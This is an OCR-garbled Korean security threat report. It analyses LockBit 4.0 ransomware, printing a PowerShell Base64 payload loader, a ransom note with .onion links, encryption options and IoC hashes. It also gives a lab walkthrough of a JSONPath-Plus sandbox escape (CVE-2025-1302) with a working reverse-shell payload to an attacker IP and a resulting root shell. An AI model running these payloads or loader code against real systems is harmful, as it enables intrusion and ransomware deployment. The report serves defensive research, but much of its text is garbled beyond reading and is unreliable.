A= FEZ O|FOH ULt
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https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_Keep%20up%20with%20Ransomware_202403.pdf&r_fname=20240319142734600.pdf

function Do-Exec($Payload, $Len) {
$zipBytes = [ em.Convert]::FromBase64String($Payload)
$ms = New-Object IO.MemoryStream
$ms.Write($zipBytes, @, $zipBytes.Length)
$null = $ms.Seek(©,0)
$ExeImage = New-Object Byte[]($Len)
$ds = New-Object IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
$null = $ds.Read($ExeImage, ©, $Len)
$ds.Dispose()

Exec -PEBytes $ExeImage

Do-Exec -Payload '7LVjkC9dskKf7b9u2d9vdu23btmlbu23btm3bxm7bNuY95z13Yu6diDvzcT7ML2pV5qp8amX1lqopKGc@4AAgAAADIZ/

32! 10. LockBit Black 4.0 PowerShell Script 2

Z=Z%l PowerShell Script = Base64 £ QA= LockBit Black 4.0 HIO|E{E C|ZYst T, O HEHZ
X&st= 20| otLfzt HiZ2|of 2ESH F MAZ|A HAo= HHYYHE AAHSITE HiZ2(ofN AAE=

=
o T
HHlo 2 Zut, =X} HE-010|2 HE-HEE S0| 7|EQ| 3.0 H{T1 St A= It

LockBit Black

sample

All your important files are stolen and encrypted!
You must find R4SZPhslZ.README.txt file
and follow the instruction!

=

bg.png.R4...

32! 11. LockBit Black 4.0 Ztd =
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LockBit Green 4.0

LockBit IE2 2023 H0f| Conti HMAHE 7[BtOZ ot LockBit Green 2 ZAIRUCE. LockBit Green 2
Conti v3 ot &A FE QAEIF 89%Lt & M= MAu CIXIRITH AL JHZFSH HAO|CE 2t Conti
HALEALE0| Mol ZAlst ZHoZ OIHCE LockBit 180| 4.0 H{XoZ Ho{7IHA LockBit 4.0
Black #2t OtL|2} 1t Green HECS| EXS UL ALE%t LockBit Green 4.0 HEE LAHSHT| mi=Zof,

L
o
7|1Z2| Green HZTIO| XO|FH RAIESE 240t WS SROtLAL STt

PE Header PE Header

oz g o M I
12! 12. LockBit Green 4.0 1jz!

LockBit Green 4.0 2 YA =M U EXIE HWalst7| 23l 4F 7[HS ARSI ACH A
A 7

c
ddmol IE HES YRt F AT of 4= diHshs Alel

= =l HE AI23ICE LockBit Green
40 2 QEAA 7|dIo] UPX INHE AIESICL 3 FQ EXEER2 ZE QIFY =2 ASsiE x=z
MEE|f Qo Hesh ujoitt C|RY =22 5539t = AMESHC}

Decrypted Data (Raw): b"~~~ You have been attacked by LockBit 4.0 - the fastest, most stable and immortal ransomware sin
ce 2019 ~~~~#nMn>>>>> You must pay us.Wn#nTor Browser Links BLOG where the stolen infortmation will be published:¥n( oft
en times to protect our web sites from ddos attacks we include ACCESS KEY - ADTISZRLYUMXDJ34RCBZFNOGBNKLEYKYSSFZPNNXKASZ
RSHOENUA )¥nhttp://lockbit3753ekiocyobepmpyBkimejchjtzddoek]IntBmulahdde2id.onion/Mnhttp://lockbit3g3ohd3kataj f6zaehxz4h
Acnhmz5t735zp | tywhwpcBoy3id.onion/Mnhttp: //lockbit3olpToet|cdt|5zydnoluphh?fvdthoabarcp?757r7xkutid.onion/®¥nhttp://ockh
i 1435xk3ki62yun /zHnhwz6j v j dp2c645vges36i f2eny3gtid.onion/Mnhttp:/ /| ockbit4lahhluguhoka3t4dspaymZn3dhe66d61 r337glmn | gg2nn
dad.onion/Mnhttp://lockbitBknrauc3aafoksvl 742vieqbujxwlrd6ofzdtapjb4rrawaad.onion/#nhttp://lockbit7ouvrsdgtojeojshvubhl j

qtohitekwpdy3b6yB2ixtsu5jqd. onion/Hn#n>>>>> What is the guarantee that we won't scam vou?#nWe are the oldest extortion gf
ang on the planet and nothing is more important to us than our reputation. We are not a politically motivated group and
want nothing but financial rewards for our work. |f we defraud even one client, other clients will not pay us. In 5 year
s. not a single client has been left dissatisfied after making a deal with us. |f you pay the ransom., we will fulfill al
| the terms we agreed upon during the negotiation process. Treat this situation simply as a paid training session for vo
ur system administrators, because it was the misconfiguration of your corporate network that allowed us to attack you. O
ur pentesting services should be paid for the same way vou pay your system administrators’ salaries. You can get more in

12! 13.RC4 Decrypt Of|A|
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EAES < Zolof m2tM AN Yotz FRECE HELE LHE, A X 2YNEH EXAE

ol7} o
glofoll

A=t ofe o= S HHTEO| HE AUiHez B2
O

| 24

o —
1ZEl0] oM, MA-E ZToj0| SUSH 71 ALSSH SREICL 10| Y ol A QIX
e Gt

21
=
0= Y=ot RC4 H2|ECZ ANl METICL 2otof| AEet 16HI0|E 7|= 2y
L,

1

20} Lielo| EXtES| BR0= 0x3A%t XOR

=
S ot= Aoz QIFY| wiEo EY moitt [I2Y = Atgetct

do
OF
=
A
|>

gword_14881E918 dg @B&3FEBASh ; DATA XREF: sub_148813A9F:loc_14881439CTo
offset kernelbase GetProcAddress
2CCBAB26h

offset ntdll NtUnmapViewOfSectien
26AFE3BDh

offset ntdll MNtProtectVirtualMemory
@Ces85A7h

offset ntdll_NtOpensection
8A41Fea62h

offset ntdll NtMapViewOfSectien
7329774Ch

offset ntdll NtSetInformationProcess
9CB66CEYh

offset ntdll_RtlInitUnicodeString
BCSFAATF4R

offset kernelbase GetSystemDirectoryh
BBB1877C8h

offset kernelbase CreateFilel
189B@ED3h

offset kernelbase CreateFileMappingh
3@83FE1lh

offset kernelbase MapViewOfFile
592687B5h

offset kernelbase UnmapViewOfFile
@BE9F995Fh

o0 0 O % P
0 R
xR~ v o i )

2l 14. APl SX &

PH=2L) oz Z2M|A0A AMESts DLLe| Y48 St
TRt o4 =2 DLLYIX| &S 7ol 2Lt DLLO| AR FAE MG H+E H
Soll ef=Foll st siAl gt Mdstn, oo MEE SHA| 2|AE0]
AtEelLt. 2tof UX[Sh= SHAIZE ZRSHCHA, siE siAl gt ThS

AS
. 7|& LockBit GreendA|= SiA| YLN2[EOSE MurmurHash2AE
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Encryption Modes:

-m local: Lecal files encryption only
-m net: Network directories encryption

Additional Parameters:

-p <path=: Specify encryption path

-f: Force encryption(bypass felder name restrictions)
-k Don't delete exe

-g: Enable quiet mode {extensions remain unchanged,
creation/modification times preserved, no notes)
-nomutex Allow multiple instances

Usage Examples:

LB4Greenexe -nomutex
LB4Greenexe -m local -k
LB4Greenexe -p CWUsers¥Documents

LockBit Green 4.00{= Ciefot A& QIXt7t ZEXHSIC, M QIXh= AIFTYE HEZ MEEO UASH, H|W
Al
=

Mo C|RES S M0 Al QIXIQ H|WPIC}, “—-help"S AFRSIH 2b Mg QIXIE M= HA|X|
HIAS EHTIC} 7| LockBit Green?| Z2, 55 A3 WX H|gdst M2 “—nomutex”7t Z4h gd
ot|of URACL MY Azt A2 XH Ml "—p'e F HE ZE SYst J|s2 MBS, O o=
ofz] HZATO| =olsict. XiMe Mdl QIXt= ofzf Eeb ZC}.

LockBit Green (2023) LockBit Green 4.0
a3 olxt 4o a3 olxt 4
-p <path> Aot 42 XH -p <path> L=t A2 XF

N 4 HIELQ| HHAH
all: 28, HIEH3, 4 all: 2%, HE3
local: 22 C|A3 ots3t : -
-m [mode] s -m [mode] local: & C|A3 Ao}

net: HEY3 XMEA ASH} +‘
net: HEQ3 HEA oo}

backups: ] o Atx|

-nomutex &5 44 dx H@as) -nomutex T8 ¥ 49X H|gdst
(X} Abztgio] THAH M3}
-log <path> 23 my My
. B8 olssl Hlg MH B
-size <percent> (2lz8t Ziat AHRIglo] 50% )
-f Ao} ole] FE FA
-h / --help Al gl M =3

-q

¥ 1.LockBit Green ¥l oIx} H|
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Lot 34 iy gEs mefet = T2 FH GRS 2Foh 4, iy FH[2| 7|2 AN MEXE
sfololtt. 2tof Ox419(2{AIOt0))E AtESHE FHIQl F HE0 ddS STt

et o oot 2o EF MH|ATL Al SO0|2tH Y MH|AE ZHEZ S2Ch MH|A S=2 O

42 4Bytes Z0[2| SlA| gt WEHZ & 48707t MEE|O] UACL x| A[AHIS] MH|A F=of| FZet 7| &
£ MH|A2| O|ES SHAY JEM2Ct Custom SiA| LUE2|ES A MHIAES SHA| 2= MMst O3,
MH|A B= tioll MEE SHA| 2tab St Hlwotth ek siA| gho| EIﬁEOH ZEMeCHH, S AH[A9|
d48s #H3 6H A2 HIZESE TASICE Al 22 Hito] =7+ & Y MHIAE =eld &
AKX, B EALES 22[Sh= MH|AQI VSSE Hlgdelsh= 20| &2l ”Ef

le = (v1 .m128i_ie4[@])(v1e1e);// _inet_ntoa
.m1281 18[4] = 8x3A;

.m128i_i32[@] = ©x14086DesB;

= sub_7FF6EACF189@(& ,;.,) // decode 172.

= sub_7FF6EACE3373(iptable, v1831);
.m1281_i8[8] = ©x3A;

.m128i_ie4[0] = 0x14020C0B1408030Bi64;

= sub 7FF6EACF18C6(& 6);// decode 192.168.
= sub_7FF6EACE3373(ir le, v1033);
.m128i_i32[e] = 9X3A146ABB'

= sub_7FF6EACF@958 (& ) // decode 186.

= sub_7FFEEACE3373(iptab] e, v1835);
.m128i_i8[4] = Bx3A;
.m128i_i32[e] = 6x14936CGB f/ decode 169.

sub_7FFE6EACF1890 (&
sub 7FF6EACE3373(
iptable ||

2x1g )2y

LockBit Green 4.02 Xl A|AHIO| HEQA QIE{HO[AZ OISt & EX |P CHHOZE LI H

SICH 1P A2 MAC FA7t M=l ARP HIOIE2 =33t F Y HIO|SO0|M IP =& SE0H 74 2L

0|2 W& IP CHECZ HEE|= 172.x.X.X, 192.168.x.X, 10.x.X.X, 169.x.x.x 2XIES C|TY =, 7INH2 IP
of

F4& FEO| EMSH=R] =felgict. 2 siEsh= IP FA7F ZXHSICHH ST IP F20 221 HE

LS TS AlTgiT.

“-m”, t-fr AW QIXtol 2t mY seke| MRS X[FTiC HER QIXIE X|™SHK| AL “-m all"S At
g5lH =24 CEo|He HESRD 2|aA BF ATIE TIATICE “-m local"g AMESIH 2Z =2to|Hot
A5t “-m net"S AFESHH HESRIZ 2|AADE dzglotrt, o[ HZHOIM AFESIHE “-m backups”l

A= O Oy AMSEIX| fh=Cth ot D2 e A=st oQ] CIMEE( oY EXts HMelstn Yets

TSk, - 2 AXIE AHESHH Y o] = EoiM stE TIATICE 2 HTE o2 o=
2 Otz Hef ZCh.
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LockBit Green (2023) LockBit Green 4.0

Windows, $Recycle.Bin, Boot, Windows, $Recycle.Bin, Boot, All Users, Chocolatey,
temp, winnt, temp, thumb, Trend Micro, perflogs, Microsoft Visual Studio,
System Volume Information System Volume Information

H 2. 253} o2 =0

LockBit Green (2023) LockBit Green 4.0

I-Restore-My-Files-!Il, CONTI_LOG.txt, Iconcache.db, thumbs.db,
*exe, *Ink, *dll, *sys, *msi, *.bat *exe, *Ink, *dll, xsys, *.dpl

E 3. =3t ool o I Xt

LockBit Green (2023) LockBit Green 4.0

1MiB 2t53} A3 2712 10% A3 27|2| n% 3 3719 9%

A 3719 10%

3| 3712 10% dd ool HA| 2712| 36.5%

A 2719] 10%

23 27|2| 109
A 3719 10% 3 3712 n% 23 2719] 9%

A 2712 10%

A4 Clojef

A 3712 10%
A ie]
3 2712] 10% FY HiolE A3 2710] 36.5%
A 3719 10%
23 3719 10% 243 2719 n%
1MiB 2.2 SMiB oIt 5MiB 23 SMiB 22t 1MiB 23t
-size Q1AF AL2 -size 212} DJAFR
I 2sst ol
H4 dlolEy

12l 17. LockBit Green HTH 28 ol55) HEAl
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M

=3t o o= A Eiﬂﬂ ?ﬂé.iE% XN&Estn, O

N
H
me
mio
ne
m

>
é

in
0z

:

|0

Hu

oo
fot
ok
rot

2t oo} a2 Hﬂﬂrtr xrom %!
Er 0|JH tHI*OiIM'— 1MiB 0|or°l Ht%% MM L=oHE Z¥stn, IMIB x1t 5MIB ofste] mMAL A
IMIBEZH ottt SMB &2t U2 R2 A2es Tdst=d|, ol 22 =t Y42 “-size” A%t
A OfRof W2t HELEICE “-size"E ALSOHH HiAZ 107He] 2522 Lisl, FA| M 37(2] 50%0
sizist= 57Ho] E20F ASSIBICE, “-size"E AFRSIX| O™ ZHKIIF AFHO| MXSH HIBCHZ US| X
2, 2, 37 220 ASotEIC £A Q! LockBit Green 4.004= 1MIB 0[5t MU MA| A=3E
TlHsty, IMIB £t IR MA| i 37]|9] 27%8 ¢f grirtr. HE olsoie Il 37| J7|E02 9%

Opt
=
lo |
02
19
>
o
of
N
M
o

= Yot YAloZ FIH

i
o

T HE RF OoiY oeh= AETH 32HI0|EQ| F|E MMt CtZ ChaCha20 212|ELZ Awsts T
ottt J2iLt 71 2% S ME gAloll= xto[7t QICE O] HE2 AtE%t 7|2 RSA 212|FL=E EHost
= o=

ZSHX|2E LockBit Green 4.0

AotEl mdo| M 2o XE , Curve25519 2112|& Ol= 2o H|YZ
7|12 Bt § LootEl ool o kol XESICE
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LockBit 4.0 #H¢|of CHSot

Execution

ASR 717 8dstE 85 o " At
Anti-Virus @8310] 2ld 22| oj 2|

@l

&
. S
Persistence F

|
A 718 x| FRY AHES B b W AT E Privilege Escalation

(11547 ]
(11548 |

Defense Evasion ASR 7% E45HE 53 ot W xich

HX|AER HY A xABoz § 3|2
CoR @R ME 85 o1 asl e | (AL

Discovery

EDR ERH& 8¢ o4y 99l X

{71057 ]

Lateral Movement

sAE weieg Bo guas 4 s B impact
B A e Mul2 AA |3
III ASR 1% E4SHE S8 240 W Aeh
ClojE] ¥

T1486
T1490
T1489

0x

LockBit 4.0 2HM0{= PowerShell Script € &84 HMHUHE AABICt HEo| M m
gio] MEZ| AojN AASH= HAS A8t R ZQIHICL [M2fM ASR® [ HMIE
HIZAXQl T2MHAS XLt ofM FRIE AZ £ UCL L HMOE AIZF Z2OMOZ

A

o AN
=20l 0| Ael 7|8t BIX| £2HS A3l 24y IS A £ UACh

Of ofm oz
St

on

N

St HIZMSIE A|ESIC} 0|2t
s S7LL OMIE 2aE o

Windows Defender MH|AE H|2HESISIT Windows O[HIE 27 7|5 &
22 OHIE ZOE JHoho| /U= fﬂ At Mg & JUEE ARFo| MA
MEA0| HEZ KNES| HES 4~ QIC} 0|20 EDR® £2ME Edl| 2K} AISt= EX TZMAS

=
xl.E_l-oH Ol-kl oH°|E F% E %U:h

0>| kA

LA E LR HERIO| M| 2/8H Windows 2| HERZ 2 API 21 Winsock & &&3liAM LS
(@)

CHEO| IS AI=SHCE S A|ARIM HIERIZ IP T4 H0|22 X338t 5 WY Y AtE3H=
172.x.x.X, 192.168.x.x, 10.x.x.X, 169.x.x.x CHES| FAJI HALZH HERX3I HZ I MM FOo=

Aottt R0 2AE YotHs S 22ast SLs Mot = Ak

ot Azstof M ALERE QelZ FTdts WS WX[SH| fl8] WY SAES AASHL, MY SAES
Z2[5h= VSS MH|AE H[ZHdelsh F DY A2olE ZIATCL ASR 1A EdelE S WY =AES
MHSHE Z2AM2t s Aosts AS AHE 4 ALk 2H C|A3E ofzt HERZ 37 20k
Yots TASh| mi20 =TS HEXNI 37 7IsS Hlgdsictn, WY SA=29 Ef Ek9
HIEILE XMEA0f A BHABHOF ST,

8 ASR (Attack Surface Reduction): ZZXI7} AIR3H= EX TRMAQL AlSH Jhs3t TRMAZ Kjchls B3 7|5

Hr
1%
e
o)
olo
ot
2

9EDR (Endpoint Detection and Response): ZFE{Qt ZHIY, A S THUT|0A LMsH= oFM SIS MAZICZE ZX|stn
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loCs

Hash(SHA-256)

563cd800e80253a7051ea8albd690d123cf7820c355addeeaaabaa227984d9ch

82d89a75d80e80e4be42c9eb79e401558c9fa3175648cd0c0467f2de1a07a908

3552dda80bd6875c1ed1273ca7562c9ace3de2f757266dae70f60bf204089a4a

20dd91f589ea77b84c8ed0f67bce837d1f4d7688e56754e709d467db0beal03c9

33376f74c2f071ff30bab1c2d19d9361d16ebaa3dee73d3b595f6d789¢c15f620

2f5051217414f6e465f4c9ad0f59c3920efe8ff11ba8e778919bac8bd53d915¢

48e2033a286775c3419bea8702a717de0Ob2aaf1e737ef0e6b3bf31ef6ae00eb5

21e51ee7ba87cd60f692628292e221¢17286df1c39e36410e7a0ae77df0f6b4b

9733092223c428fc0e44a90b01c7f77a97bb1205def8be1224ac68969182638e

a33f21d28bd83a9501257ee727c46486989bdfeabd5ch9f1c12c9a67296b21b1

Oace4e1158ab5b7723493f39d6949309e00e4a71804f0b09e33d5d48a28cb061

36f48ef3776c01d63a2fd594d52dfb7402ea634162fd079b0d942367a2fbed56
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H 30 AO|E

.- 0= HEE(https://www.justice.gov/opa/pr/phobos-ransomware-affiliates-arrested-coordinated-
international-disruption)

- BankInfoSecurity (https://www.bankinfosecurity.com/leaked-black-basta-chat-logs-show-banality-
ransomware-a-27573)

+ CyberSecurityDive(https://www.cybersecuritydive.com/news/leaked-ransomware-chat-logs-reveal-
black-bastas-targeted-cves/741129/)

« CSO Online(https://www.csoonline.com/article/3822338/authorities-seize-phobos-and-8base-
ransomware-servers-arrest-4-suspects.html)

- The Record(https://therecord.media/oakland-confirms-massive-second-data-leak)
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Research & Technique

JSONPath-Plus RCE #|2&(CVE-2025-1302)
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JSONPath-Plus = QLEAA
npm?20f|lA JSONPath-Plus
O7He| THZ|X[0IM AR Bl AS =eld —1‘— %1‘21'1}.

jsonpath-plus

10.3.0 = Public - Published 25 days ago

@ Readme ﬁ Code a 3 Dependencies & 860 Dependents W 45 Versions
Dependents (860) Install
» npm i jsenpath-plus L]

@beforeyoubid/serverless-offline evari-quotes-api tealeaf-object

client-node-fixed-watcher @restlesstech/test-making-cucumber-api

Repository
@restlesstech/test-making-cucumber-api @tsart/alchemy-json © github.com/s3u/JSONPath
yonderbox-graphqgl-mongodb-adapter @f5devcentral/f5-fast-core Homepage
@graphgl-mesh-plus/batch-and-match @connorads/serverless-offline jsonpathmap & github.com/s3u/JSONPath

moneytrackio-conseiljs @ts4/micro @barreljs/core authzyin.js identitynow-sdk
+ Weekly Downloads

@lpezet/etl-js @dataparty/api jsonpath-fetch @tuxrampage/k8s-client-node 4,766,208 — Yy

ZX: npmjs.com

33 1. JSONPath-Plus A2 S|

|2F& (CVE-2025-1302)2 0|

e

2025 4 2 & 15 & JSONPath-Plus OflA 3708l & F= AH
2024 A 10 ¥, 37HEl Node.js 9 vm® ZE°| sandbox* HHEZ QI

S 17 TS AW HOIM (CVE-
2024-21534)2] Hot T B SlAE s HefHo| Pelsio] WS, P32 olpt bl
FoHol TAHE DHE, AFE B9l WIIXIZH Fokst FO| JSONPath-Plus & ARSSHD X 2Helo]

LI QSICE.

' JSON(JavaScript Object Notation): 7|-2t @22 O|F0{El CIO|EE HESI7| 2f3l 2AZt0| A2 = A= HAEES AE3t= HYY EE XA

2 npm: GitHub 2| XFEIAIR! npm Inc.0llM QX| Bt2|sH= JavaScript AOIE 2Iet T7|X| B2|x}

S vm: 7Ha Al HEIAE LHoflM JavaScript ZES AN St0 AlSsH= Node.js 9| 7|2 BE

4 sandbox: Al =9I m2IMe 2alsty| 3t BjF LIS
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B 34 AL2|

@» CVE-2025-1302

n -
o@de

— x L =1 g'é
I]:‘-s-l © HSHxE M 2 [ jsonpath-plus

® LS 27| x| » W
=S4zt n|sH Xt ME

@ MY It ez Az k2

a2l 2, CVE-2025-1302 2Z AlLIZ|Q

@ BZRH= SR AE{Ol CVE-2025-1302 3(oIEe 223 47 IC A EHA HE
@ BAR= S WoHR Mpjo] AS &S
® 3Z4Xt= =St 2 286l msixt MHol| Y=ot MZ7| MK
® ZAX= siRte] M XIS 0|l US| K2
B git= ATEQo] HE
CVE-2025-1302 Of| F|efst AT EQ0| HM2 C31t 2T}
SIW 72 3ot BH
JSONPath-Plus <10.3.0
H HAE 24 148 &
HAE SAS F=8 CVE-2025-1302 9| St 1tHE MIHECt,
0| M
JSONPath-Plus v10.2.0
I|3Hx}
(10.233.3.66)
Kali Linux
SAX}
(10.233.78.36)
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B F4H HAE

Step 1. A 1M

OJsiXt PC off F¥st XM JSONPath-Plus € At&%te ZHttet @l MHE FESICH CVE-2025-1302
F|oFd E|AEE I3 IIUE2 of2f EQSTLab 2| GitHub Repository OflA &tQlgt 4= QIC},

« URL: https://github.com/EQSTLab/CVE-2025-1302

CtE BZHOIZ docker O[O|X|E UESH 7| AdTiCt,
> git clone https://github.com/EQSTLab/CVE-2025-1302.git
> cd CVE-2025-1302

> docker build -t jsonpath:10.2.0 .
> docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

A [ A Ao S JSONPath-Plus & AL EQ1 MHIE 2=E WS &eld = Ch
= -
Please enter a search name Search
Name Content
299 We are EQST Team.
Ethan Keep pushing forward, no matter what!
Olivia Happiness is a choice, so choose it every day!
Lucas Believe in yourself and anything is possible.
Sophia Kindness is free. sorinkle it evervwhere! v

gl 3. mjsixt & mlofx|
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https://github.com/EQSTLab/CVE-2025-1302

Step 2. FH HAE

Flefst Mo HM 7|50l JSONPath® ERAIS MRSt 34 715 G{2E =l + ot I 4 ¢
#0| 299 o HM Zuet JSON H|o|E{oflA Z[&2($)oll U= 299 9 22 F=5H= JSON-Path
ARl $.290 ZAM ZAuIt SLSICE.

A
> ARV 2
>

name content name content

299 We are EQST Team 299 We are EQST Team.

aqq | Play Animations | K | Play Animations

a3l 4. 24 s o ol

SHXE LfsiAt ME Q| Eots 2lS5ts| 2ol of2fel Z0] 29|l JSONPath EHHAIS AESiCt.

$..[2(EQST="[['constructor']][['constructor']]("this.process.mainModule.require('child_process').
execSync( bash —c ‘bash >& /dev/tcp/<SHXL_IP>/<3AXt_PORT> 0>&1'")");:EQST())]

Request Response m = n

Pretty Raw Hex ® \n =

POST /query HTTP/1.1

Host: localhost:3000

Content-Length: 189

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/json

Accept: #/*

Origin: http://1@.233.3.66:3000

Referer: http://10.233.3.66:3000/

) Accept- Encodlng gnp, deflate, br

O~ O L N

[ e

'j_{

"path”:

"$..[?2(EQST=""[["constructor'J1[['constructor']J(\"this.process.mainModule.require( " child_process").execSync( bash —c ‘ba1
>& /dev/tcp/10.233.78.36/4444 0>81°)\");FQSTO)]"

12l 5, oto|xol JSONPath HEA!

Ol= SAHX= et S Sdll LAt MHolM B3 2=

]

uid=0(root) gid=0(root) groups=0(root)
pwd
Jusr/src/app

i

O3 6. HsHXE At 2 =

® JSONPath: JSON Ofl CIO|E{E £, #etstn MEimo= &6ty I8 Q10 74|
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R RO

HOH A A0S FoFRol S 2oL, THX| LhS, 23| WS
21534 F2Fo| WA 2lolof Chef 2AI5HD Step 2 OIME X2 B
30I4% 0|2 Plst CVE-2025-1302 oFHol Chsh CHEct

MHSICL Step 1 0|Al= CVE-2024-
IHX|of| CHEt LHES2 ATJHSICE Step

=
ot

Step 1. CVE-2024-21534 £
20243 102 11 274l CVE-2024-21534 I%H2 JSONPath EHA| LI0IN 22l2| JavaScript
TES U LM

1) JSONPath E34! X2| 2pd

JSONPath-Plus £ JSONPath E®AS $iMst, JSON C2HE g
FEDIC} MYHR2 JSONPath H9142 JSONPath-Plus LiS0{A of2fiet 2

| =]

HHAOl Ao = s
o

apgol| w2t X2[Ect.

JSONPath-Plus

[ 1. JSONPath | FHA 2] AN

[ 2. evaluate J

[ 3. trace J

[ 4. eval J

a3l 7. JSONPath E3Al X2| &M

(1) JSONPath
JSONPath g=9| &= LISt &L},

const result = JSONPath(
[options, ] // options : Of2f QIS8 K= SHHO| HMELY W AL
path, // path : JSONPath HEoi4l
json, // json : EHAQ| 2} F **3* JSON ZHA|
callback, // callback : &= jé:'ﬂl' Xelst7| 2%t callback &4
otherTypeCaIIback /] otherTypeCallback : JSON *9|Df7r II°JE|II = AR A2

2l g0l 2t path Ol= JSONPath HYIAE, json Ol F&Y JSON HIO|HE 2tz 2EdiA

JSONPath &40 MESHC},
app.post('/query', (req, res) => {
const { path } = req.body;
if (!json || !path) {
return res.status(40@).json({ error: 'Both json and path are required.' });

}

try {
[const result = JSONPath({path, json});|

12l 8. JSONPath E#Alnl JSON CIOJE| ME
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M2 HI0|E & JSONPath EHAQ! path = args & £l evaluate &2 MY EICE

1514 function JSONPath(opts, expr, obj, callback, otherTypeCallback) {
1549 if (opts.autostart !== false) {
1550 const args = {

1551 path: optObj ? opts.path : expr
1552 };

1553 if (loptobj) {

1554 args.json = obj;

1555 } else if ('json' in opts) {

1556 args.json = opts.json;

1557 }

1558 lconst ret = this.evaluate(args);l

13 9.evaluate B+2 HYE|= args

(2) evaluate
evaluate e HEHEI2 HHAZ toPathArray &2 Sdff I HIO|E{Z HEHSHH, 0|2 _trace

stz MBI

1567 JSONPath.prototype.evaluate = function (expr, json, callback, otherTypeCallback) {
1579 json = json || this.json;

1580  [expr = expr || this.path;]

1581 > if (expr && typeof expr === 'object' && !Array.isArray(expr)) {--

1601 }

1602 currParent = currParent || null;

1683 currParentProperty = currParentProperty || null;

16e4 > if (Array.isArray(expr)) {--

1606 }

1607 > if (lexpr &% expr !== '' || !json) {--

1609 }

161€ [const exprlList = ]SONPath.toPathArray(expr);]

1611

1612 > if (exprList[@] === '$' &&% exprList.length > 1) {--

1614 }

1615 this._hasParentSelector = null;

1616 const result = this._trace(exprlList, json, ['$'], currParent, currParentProperty, callback).filter(function (ea) {
1617 return ea && !ea.isParentSelector;

1618 1;

12l 10. evaluate g5 LIES] BHA Xiz2|
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(3) _trace
_trace g0|A= JSON H[O|E{E EMMSIHH HIE HIO|EHE &=XIHQZ _eval g2 HEHTICE

1682 JSONPath.prototype._trace = function (expr, val, path, parent, parentPropName, callback, hasArrExpr,
1697 const loc = expr[e],
1698 X = expr.slice(l);
1699
1728 » if ((typeof loc !== 'string' || literalPriority) && val && Object.hasOwn(val, loc)) {--
1768 } else if (loc.indexOf('?(') === @) {
1769 // [?(expr)] (filtering)
177@ > if (this.currEval === false) {---
1772 }
1773 const safelLoc = loc.replace(/"\?\((.*?)\)$/u, '$1');
1774 // check for a nested filter expression
1775 const nested = /@.2([*?]1*)L0"TC\N22NC.*2\)) (2. A)\])[\]"]1/gu.exec(safeloc);
1776 > if (nested) {--
1787 } else {
1788 this. walk(val, m => {
1789 Iif (this._eval(safelLoc, val[m], m, path, parent, parentPropName)) {l
179@ addRet(this._trace(x, val[m], push(path, m), val, m, callback, true));
1791 }
1792 1;
1793 }
32 11. _trace g LR HHHA Kz
(4) _eval

_eval &0lA= M2 H|O|E{E sandbox LHEOf|A ARMSHCL,

1944 JSONPath.prototype._eval = function (code, _v, _vname, path, parent, parentPropName) {

1954 const scriptCacheKey = this.currEval + 'Script:' + code;

1955 if (!1JsONPath.cache[scriptCacheKey]) {

1956 let script = code.replaceAll('@parentProperty', '_$_parentProperty').replaceAll
('@parent’, '_$_parent').replaceAll('@property', '_$_property').replaceAll('@root’,
' $ root').replaceAll(/@([.\s)[])/gu, '_$_v$1');

1957 » if (containsPath) {--

1959 }

1960 if (this.currEval === 'safe' || this.currEval === true || this.currEval === undefined)
{

1961 ’JSONPath.cache[scriptCacheKey] = new this.safeVm.Script(script);

1962 > } else if (this.currEval === 'native') {---

1964 > } else if (typeof this.currEval === 'function' && this.currEval.prototype && Object.
hasOwn(this.currEval.prototype, 'runInNewContext')) {--

1967 > } else if (typeof this.currEval === 'function') {--

1971 » } else {:-

1973 }

1974 1

1975 try {

1976 [return JSONPath.cache[scriptCacheKey].runInNewContext(this.currSandbox)J

72l 12, _eval &4 Lol H3A X{2|

Of I safeVm 2 W& vm ZES =2{24M AtETILY.

3 var vm = require('vm');

693 JSONPath.prototype.vm = vm;
694 JSONPath.prototype.safeVm = vm;
695 const SafeScript = vm.Script;

12l 13. safeVm Moi
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"EQST=this.constructor.constructor(\"process.mainModule.require(‘child_process').execSync('t
ouch /tmp/EQST.txt')\");EQST()"

| ZE & this = Object ¢! sandbox £ 2|0|3tH, this.constructor & Object 2| MAXIE 7}2|7ICt

MMXb= Function 2 A&EE7| R0 this.constructor.constructor & Object.constructor 2 Sot
Function MAMXIZ 0|2 S8 MEL S4E HO|sIHLE Alst 2 IO},

o

>~

oAl ZEE AASIH sandbox HE = SZ T2 Mol Q| TiUS MHst = ULt
Name -

2 ) vun

@ sbin->usr/sbin

> B srv
> sys
vy tmp
(3 EQST.txt

> 3 node-compile-cache

2| 14. sandbox ©Z 0jA] 2= A ZHx)

-_
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Step 2. CVE-2024-21534 H¢ot XX|
o FofE2 JSONPath-Plus 9.0.0 HTOIM XNE ZUHMCH, X|&Fl 2ot miX|et 2|7t O|FACt
O 2HFollM £ 9Hol Hot WX|7} MM D F2 Hot =X|= otz 3 7HX|9t &t

1) Ay Ey
LHZ vm £ 7|& AISSIE 2o otMst vm & AMSSI=E HZATICHL EHA AH¥ Aloj= JSON
CllOIE{0l| EXHSt= 7|QIX| HBdt= F=0| F7HICE

2064 JSONPath.prototype.safeVm = {

2065 [Script: SafeSCript]

2066 };

1356 class SafeScript {

1360 constructor(expr) {

1361 this.code = expr;

1362 this.ast = jsep(this.code);

1363 }

137e runInNewContext(context) {

1371 const keyMap = {

1372 ...context

1373 };

1374 return SafeEval.evalAst(this.ast, keyMap);

1375 }

1376 }

1377

12l 15.CVE-2024-21534 2 Hot mjx] 1

sieh Hot MiX|= sandbox HES 210 keyMap Off HOL|X| 42 &£Mof MIsk= A2 YX|SHCt O|f
keyMap 2 Object & &&22 F| JSON CIO|E{7} Z8El context 2K|Ql £d2 FARH Ho|EIC
Ja{Lt o] 2PN keyMap Ol bind, apply, call 2t Z2 Object 2| L& &4=7t Zetel 0|2 0|2
DAL A Ooir}.

o=

2) Object LHE &4 HIAH

O|= Object o LHE &= Qo R2E 27| I8 keyMap 2| M HAlS HARLL

1376 runInNewContext(context) {

1377 // “Object.create(null)” creates a prototypeless object

1378 lconst keyMap = Object.assign(Object.create(null), context);l

1379 return SafeEval.evalAst(this.ast, keyMap);

1380 }

1381 }

32l 16. CVE-2024-21534 82 HQt mijx| 2
